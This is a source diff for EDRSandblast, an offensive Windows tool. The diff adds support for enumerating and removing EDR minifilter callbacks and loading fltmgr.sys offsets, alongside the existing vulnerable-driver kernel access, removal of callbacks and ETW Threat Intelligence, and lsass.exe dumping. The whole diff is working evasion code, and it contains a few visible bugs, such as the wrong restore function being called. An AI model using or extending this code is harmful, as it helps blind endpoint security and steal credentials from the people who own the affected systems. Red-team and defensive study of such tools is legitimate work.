@@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
- if (FoundObjectCallbacks->index != 0 &&
- FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
+ if (FoundObjectCallbacks->size != 0 &&
+ FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK &&
+ FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation)
continue;
}
- struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
- cb->type = OBJECT_CALLBACK;
- cb->driver_name = driverNamePostOperation;
- cb->removed = FALSE;
- cb->callback_func = PostOperation;
- cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
- FoundObjectCallbacks->index++;
+ struct KRNL_CALLBACK cb;
+ cb.type = OBJECT_CALLBACK;
+ cb.driver_name = driverNamePostOperation;
+ cb.removed = FALSE;
+ cb.callback_func = PostOperation;
+ cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
+ AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE;
}
else {
@@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
- for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
+ for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
diff --git a/EDRSandblast/Utils/FltmgrOffsets.c b/EDRSandblast/Utils/FltmgrOffsets.c
new file mode 100644
index 0000000..66571f4
--- /dev/null
+++ b/EDRSandblast/Utils/FltmgrOffsets.c
@@ -0,0 +1,157 @@
+#include
+#include
+#include
+#include
+
+#include "FileUtils.h"
+#include "FileVersion.h"
+#include "PrintFunctions.h"
+#include "PdbSymbols.h"
+
+#include "FltmgrOffsets.h"
+
+union FltmgrOffsets g_fltmgrOffsets = { 0 };
+
+
+BOOL FltmgrOffsetsAreLoaded() {
+ return g_fltmgrOffsets.ar[0] != 0;
+}
+
+
+BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
+ if (FltmgrOffsetsAreLoaded()) {
+ //offsets already loaded
+ return TRUE;
+ }
+
+ // load via CSV first
+ if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
+ if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
+ return TRUE;
+ }
+ _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
+ }
+
+ // load via internet then
+ if (canUseInternet) {
+ _putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
+#if _DEBUG
+ if (LoadFltmgrOffsetsFromInternet(FALSE)) {
+#else
+ if (LoadFltmgrOffsetsFromInternet(TRUE)) {
+#endif
+ _putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
+ if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
+ _putts_or_not(TEXT("[+] Saving them to the CSV file..."));
+ SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
+ }
+ return TRUE;
+ }
+ _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
+ }
+
+ return FALSE;
+}
+
+BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
+ LPTSTR fltmgrVersion = GetFltmgrVersion();
+ _tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
+ return FALSE;
+ }
+
+ TCHAR lineFltmgrVersion[256];
+ TCHAR line[2048];
+ while (_fgetts(line, _countof(line), offsetFileStream)) {
+ TCHAR* dupline = _tcsdup(line);
+ TCHAR* tmpBuffer = NULL;
+ _tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
+ if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
+ TCHAR* endptr;
+ _tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
+ for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
+ g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
+ }
+ break;
+ }
+ }
+ fclose(offsetFileStream);
+
+ return FltmgrOffsetsAreLoaded();
+}
+
+void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
+ LPTSTR fltmgrVersion = GetFltmgrVersion();
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
+ return;
+ }
+
+ _ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
+ for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
+ _ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
+ }
+ _fputts(TEXT("\n"), offsetFileStream);
+
+ fclose(offsetFileStream);
+}
+
+
+BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
+ LPTSTR fltmgrPath = GetFltmgrPath();
+ symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
+ if (sym_ctx == NULL) {
+ return FALSE;
+ }
+ g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
+ g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
+ g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
+ g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
+ g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
+ g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
+ g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
+ g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
+ g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
+ g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
+ UnloadSymbols(sym_ctx, delete_pdb);
+
+ return FltmgrOffsetsAreLoaded();
+}
+
+TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
+LPTSTR GetFltmgrPath() {
+ if (_tcslen(g_fltmgrPath) == 0) {
+ // Retrieves the system folder (eg C:\Windows\System32).
+ TCHAR systemDirectory[MAX_PATH] = { 0 };
+ GetSystemDirectory(systemDirectory, _countof(systemDirectory));
+
+ // Compute fltmgr.sys path.
+ PathAppend(g_fltmgrPath, systemDirectory);
+ PathAppend(g_fltmgrPath, TEXT("drivers"));
+ PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
+ }
+ return g_fltmgrPath;
+}
+
+TCHAR g_fltmgrVersion[256] = { 0 };
+LPTSTR GetFltmgrVersion() {
+ if (_tcslen(g_fltmgrVersion) == 0) {
+ LPTSTR fltmgrPath = GetFltmgrPath();
+
+ TCHAR versionBuffer[256] = { 0 };
+ GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
+
+ _stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
+ }
+ return g_fltmgrVersion;
+}
\ No newline at end of file
diff --git a/EDRSandblast/Utils/WdigestOffsets.c b/EDRSandblast/Utils/WdigestOffsets.c
index d6b22d1..a0d5086 100644
--- a/EDRSandblast/Utils/WdigestOffsets.c
+++ b/EDRSandblast/Utils/WdigestOffsets.c
@@ -17,7 +17,6 @@
union WdigestOffsets g_wdigestOffsets = { 0 };
-// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c
index 90d67ef..909e430 100644
--- a/EDRSandblast_CLI/EDRSandblast.c
+++ b/EDRSandblast_CLI/EDRSandblast.c
@@ -10,17 +10,21 @@
#include
#endif
+#include "CiOffsets.h"
#include "CredGuard.h"
#include "DriverOps.h"
#include "FileUtils.h"
+#include "FltmgrOffsets.h"
#include "Firewalling.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
+#include "KernelDSE.h"
#include "KernelMemoryPrimitives.h"
-#include "ProcessDump.h"
-#include "ProcessDumpDirectSyscalls.h"
+#include "MinifilterCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h"
+#include "ProcessDump.h"
+#include "ProcessDumpDirectSyscalls.h"
#include "PEBBrowse.h"
#include "PrintFunctions.h"
#include "RunAsPPL.h"
@@ -28,8 +32,6 @@
#include "Undoc.h"
#include "UserlandHooks.h"
#include "WdigestOffsets.h"
-#include "CiOffsets.h"
-#include "KernelDSE.h"
//TODO P1 : implement a "clean" mode that only removes the driver if installed
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\
[--usermode] [--unhook-method ] [--direct-syscalls] [--add-dll ]* \n\
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
- [--nt-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\
+ [--nt-offsets ] [--fltmgr-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\
[--vuln-driver ] [--vuln-service ] \n\
[--unsigned-driver ] [--unsigned-service ] \n\
[--no-kdp]\n\
@@ -168,6 +170,8 @@ Offset-related options:\n\
\n\
--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
+--fltmgr-offsets Path to the CSV file containing the required fltmgr.sys's offsets\n\
+ Default to 'FltmgrOffsets.csv' in the current directory.\n\
--wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
@@ -204,6 +208,7 @@ Dump options:\n\
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
+ TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
@@ -219,6 +224,7 @@ Dump options:\n\
BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE;
+ BOOL foundMinifilterCallbacks = FALSE;
HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
@@ -305,6 +311,14 @@ Dump options:\n\
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
+ else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
+ i++;
+ if (i > argc) {
+ _tprintf_or_not(TEXT("%s"), usage);
+ return EXIT_FAILURE;
+ }
+ _tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
+ }
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
@@ -446,8 +460,8 @@ Dump options:\n\
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
}
- _putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives..."));
- // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
+ _putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe..."));
+
if (FileExists(ntoskrnlOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
@@ -483,6 +497,14 @@ Dump options:\n\
PrintNtoskrnlOffsets();
}
+ if (_tcslen(fltmgrOffsetCSVPath) == 0) {
+ PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
+ PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
+ }
+ if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
+ return EXIT_FAILURE;
+ }
+
// Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
@@ -518,6 +540,7 @@ Dump options:\n\
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
return EXIT_FAILURE;
}
+
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
if (foundNotifyRoutineCallbacks) {
isSafeToExecutePayloadKernelland = FALSE;
@@ -532,6 +555,19 @@ Dump options:\n\
}
_putts_or_not(TEXT(""));
+ _putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
+ foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
+
+ if (foundMinifilterCallbacks) {
+#if WriteMemoryPrimitiveIsAtomic
+ isSafeToExecutePayloadKernelland = FALSE;
+#else
+ _putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
+#endif
+ }
+ _putts_or_not(TEXT(""));
+
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
@@ -826,7 +862,13 @@ Dump options:\n\
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
-
+#if WriteMemoryPrimitiveIsAtomic
+ if (foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
+ RemoveEDRMinifilterCallbacks(foundEDRDrivers);
+ _putts_or_not(TEXT(""));
+ }
+#endif
/*
* 2/3 : Starting "resursively" our process.
*/
@@ -865,7 +907,13 @@ Dump options:\n\
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
-
+#if WriteMemoryPrimitiveIsAtomic
+ if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
+ RestoreEDRMinifilterCallbacks(foundEDRDrivers);
+ _putts_or_not(TEXT(""));
+ }
+#endif
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.c b/EDRSandblast_StaticLibrary/EDRSandblast_API.c
index dd0c86b..34990a7 100644
--- a/EDRSandblast_StaticLibrary/EDRSandblast_API.c
+++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.c
@@ -6,8 +6,10 @@
#include "ETWThreatIntel.h"
#include "FileUtils.h"
#include "Firewalling.h"
+#include "FltmgrOffsets.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
+#include "MinifilterCallbacks.h"
#include "PrintFunctions.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE;
- BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config;
if (config->actions.ProtectProcess) {
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) {
- _tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
+ _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
- else {
- kernelOffsetsLoaded = TRUE;
+ BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
+ if (!success) {
+ _tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
+ return status;
}
driverInstallRequired = TRUE;
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks;
+ BOOL foundMinifilterCallbacks;
BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->foundNotifyRoutineCallbacks = TRUE;
}
if (ctx) {
- _tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
+ _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
}
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
+ _putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
+ }
+
+ foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
+ if (ctx && foundMinifilterCallbacks) {
+ ctx->foundMinifilterCallbacks = TRUE;
+ }
+ if (ctx) {
+ _tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
}
if (ctx) {
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->krnlmodeMonitoringEnumDone = TRUE;
}
- if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
+ if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING;
}
else {
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
+ if (ctx->foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
+ RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
+ }
+
if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE;
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
+ if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
+ EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
+ }
+
// Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose);
diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.h b/EDRSandblast_StaticLibrary/EDRSandblast_API.h
index 7960347..a626f80 100644
--- a/EDRSandblast_StaticLibrary/EDRSandblast_API.h
+++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.h
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks;
+ BOOL foundMinifilterCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled;
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
*/
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
+ /*
+ * Path of the CSV file that contains the needed offsets for minifilter enum and bypass
+ * If NULL, tries to load FltmgrOffsets.csv
+ * If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
+ */
+ LPWSTR fltmgrOffsetFilePath;
/*
* Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv
diff --git a/Offsets/CiOffsets.csv b/Offsets/CiOffsets.csv
index 33fc80d..92d9bb6 100644
--- a/Offsets/CiOffsets.csv
+++ b/Offsets/CiOffsets.csv
@@ -177,6 +177,7 @@ ci_17763-4644.dll,36d58,4bb30
ci_17763-4737.dll,36d58,4bb30
ci_17763-4840.dll,36d58,4bb30
ci_17763-4974.dll,36d58,4bb30
+ci_17763-5122.dll,36d58,4bb30
ci_17763-10458.dll,36d18,4ba70
ci_17763-10877.dll,36d18,4bae0
ci_18362-1.dll,37278,4c600
diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py
index c921808..c0f535a 100644
--- a/Offsets/ExtractOffsets.py
+++ b/Offsets/ExtractOffsets.py
@@ -17,8 +17,12 @@ THREADS_LIMIT = None
CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404)
-knownImageVersions = dict(ntoskrnl=list(), wdigest=list(), ci=list())
-extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll", ci="dll")
+supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
+modes = [image_name.split(".")[0] for image_name in supported_images]
+extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
+known_image_versions = {mode: list() for mode in modes}
+modes_by_imagename = dict(zip(supported_images, modes))
+csvFilenameByMode = {mode: mode.capitalize() + "Offsets.csv" for mode in modes}
symbols = dict(
ntoskrnl=[
@@ -42,8 +46,23 @@ symbols = dict(
("g_CiOptions", "symbol"),
("CiValidateImageHeader", "symbol"),
],
+ fltmgr=[
+ ("FltGlobals", "symbol"),
+ ("_GLOBALS", "FrameList", "field"),
+ ("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
+ ("_FLTP_FRAME", "Links", "field"),
+ ("_FLTP_FRAME", "RegisteredFilters", "field"),
+ ("_FLT_OBJECT", "PrimaryLink", "field"),
+ ("_FLT_FILTER", "DriverObject", "field"),
+ ("_FLT_FILTER", "InstanceList", "field"),
+ ("_DRIVER_OBJECT", "DriverInit", "field"),
+ ("_FLT_INSTANCE", "CallbackNodes", "field"),
+ ("_FLT_INSTANCE", "FilterLink", "field"),
+ ],
)
+symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
+
def find(key: str, d: dict):
for k, v in d.items():
@@ -252,12 +271,10 @@ def extractOffsets(input_file, output_file, mode):
export_directory_rva = export_directory_entry.VirtualAddress
image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4)
name = pe.get_string_at_rva(image_name_rva).decode().lower()
- if "ntoskrnl.exe" in name:
- imageType = "ntoskrnl"
- elif "wdigest.dll" in name:
- imageType = "wdigest"
- elif "ci.dll" in name:
- imageType = "ci"
+ for image_name in supported_images:
+ if image_name in name:
+ imageType = modes_by_imagename[image_name]
+ break
else:
print(f"[*] File {input_file} unrecognized")
return
@@ -274,7 +291,7 @@ def extractOffsets(input_file, output_file, mode):
extension = extensions_by_mode[imageType]
imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}"
- if imageVersion in knownImageVersions[imageType]:
+ if imageVersion in known_image_versions[imageType]:
print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})")
try:
"""
@@ -296,7 +313,7 @@ def extractOffsets(input_file, output_file, mode):
for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-")
)
imageVersion = input_file_basename
- if imageVersion in knownImageVersions[imageType]:
+ if imageVersion in known_image_versions[imageType]:
return
print("\r", end="") # Not skipping after all
except ValueError:
@@ -330,7 +347,7 @@ def extractOffsets(input_file, output_file, mode):
# print("wrote into CSV !")
del pdb
- knownImageVersions[imageType].append(imageVersion)
+ known_image_versions[imageType].append(imageVersion)
print(f"[+] Finished processing of {imageType} {input_file}!")
except PEFormatError as e:
@@ -381,22 +398,25 @@ def sortOutputFile(csvFile):
if __name__ == "__main__":
parser = argparse.ArgumentParser()
+ modes_str = "/".join(known_image_versions)
+ files = " / ".join(modes_by_imagename)
+ csvfiles = " / ".join(csvFilenameByMode.values())
parser.add_argument(
"mode",
- help='"ntoskrnl", "wdigest" or "ci". Mode to download and extract offsets from either ntoskrnl.exe, wdigest.dll or ci.dll',
+ help=f"{modes_str}. Mode to download and extract offsets from either {files}",
)
parser.add_argument(
"-i",
"--input",
dest="input",
required=True,
- help="Single file or directory containing ntoskrnl.exe / wdigest.dll / ci.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.",
+ help=f"Single file or directory containing {files} to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.",
)
parser.add_argument(
"-o",
"--output",
dest="output",
- help="CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv / CiOffsets.csv in the current folder.",
+ help=f"CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to {csvfiles} in the current folder.",
)
parser.add_argument(
"-d",
@@ -408,20 +428,20 @@ if __name__ == "__main__":
args = parser.parse_args()
mode = args.mode.lower()
- if mode not in knownImageVersions:
- print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl", "wdigest" and "ci"')
+ if mode not in known_image_versions:
+ print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: {modes}')
exit(1)
# If the output file exists, load the already analyzed image versions.
# Otherwise, write CSV headers to the new file.
if not args.output:
- args.output = mode.capitalize() + "Offsets.csv"
+ args.output = csvFilenameByMode[mode]
